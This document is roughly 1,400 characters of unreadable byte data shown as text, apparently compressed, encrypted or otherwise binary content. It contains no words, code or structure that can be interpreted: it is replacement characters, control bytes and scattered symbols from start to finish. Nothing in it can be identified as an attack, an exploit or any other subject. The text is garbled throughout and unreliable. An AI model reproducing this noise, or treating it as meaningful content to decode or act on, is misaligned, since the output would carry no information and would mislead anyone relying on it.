��PQ�Py�����3����$f+W՛=4�ǁ`*��^��Eb�K�t�6��^��!�籷��ȭ��K{/;�L���p�x����;a���Oلz�[�.NP4�]Gc�T�v���~sg'LED��]j��'�G�]�6rY����UPw�*O�İՋi�'8�۴�#g�Xx+=�eU6�R��c�"�u2��~�?n�y�;�u��3�'��6�f����b��߬M�$*��k&?6���*^1n����ێz)<��Gz�	�����7����Y�	��ۃ)$A��2�L6�
ե�H�<�r��#ʽ2��O��R���z�A��XW�@��������<�G�
Ϥ�^�˓i�M�W���6
 �0��m){c�;ݧ�>R�a����}1�ٯ%�EY2�Q��Ep���$ 
��E��qS��t#+x� *�h�UI��XM?�'//��a'�G����q@���<��z��؟����cd��z�ˬT_u�Ѯ����&�z�k
��n
]�a%�py»�`Qd�xc�����n��	�*��oTd�;'j�<�!j���'�(~�ʹW�M� P�mȘ��@֨V+��R�`�$��`�+@��_[�kG����P���Zh9�R����&5b�v���Z���#p�&�Ա+��8�etZ7G��;��@"�e0���v7����?��z�?_���_�q1�T�"�p�ˎ/U
6׌_�B�>��0(	��}G#������Ȣ�p��	�9��;/&
`�B&$�y��t(�*z�x��Ӕ�����S�?Kȏ3��{p�	b
�	ۍ-�z܈֦��6?<���ǬP�N�G
�更�
�6�/h�����0Z���������i�ua�e�*M'A�
�x��v�q.>�F�
oN{��Q���{gD��L��u��=|���O
xN���d���q�8(��E�Uu��,��O�
t�DJ	����;��G����e���C��VYZ�
���T4{���(�Ӳ'c�t�f��w�c�jr�e޳�m
�#7,�6��B�E4Q�P�.P�(&��^{9H-�m�o
��q�g1���=��>p�)/"p0!4�m‚S6ú�FN���h��D
�)��XdT
�FؤZ⸚�k��H�c8v�	<���u�P�Հ���:��_�EN��|�ӛ��u?-�/�o�Lhk�ܸ�S�;�Rī�����T"�N����M��px7<� j�$��`�Y)Pjh
5`
K�Qf�4�C�bX"�D���;HD�Z�9R b�F)�UA����v�#��HD�!{������>I�
�`�ԁ
i�4�)t*�ç�Le�_���>ru�GEQg��ǔct��ō0��l6v���d��
��GG8���v^�|�#JyZPSO��
Y�CuAߐ�"�x���OfHF@�K�V�!少Eҕ]h�
��[���)��.q����*0I<8��^�6�}p��^tho���ig�i����DK���p,��2�3�I��5���쓄OY�6s7Qs�Ow^�w�J/�A➰������0������g(Մ��y��Kԇ���QS��?H���w�X�=��ҞX�~���Q=�'���p?7�@g�~�G�}�r��g�T?���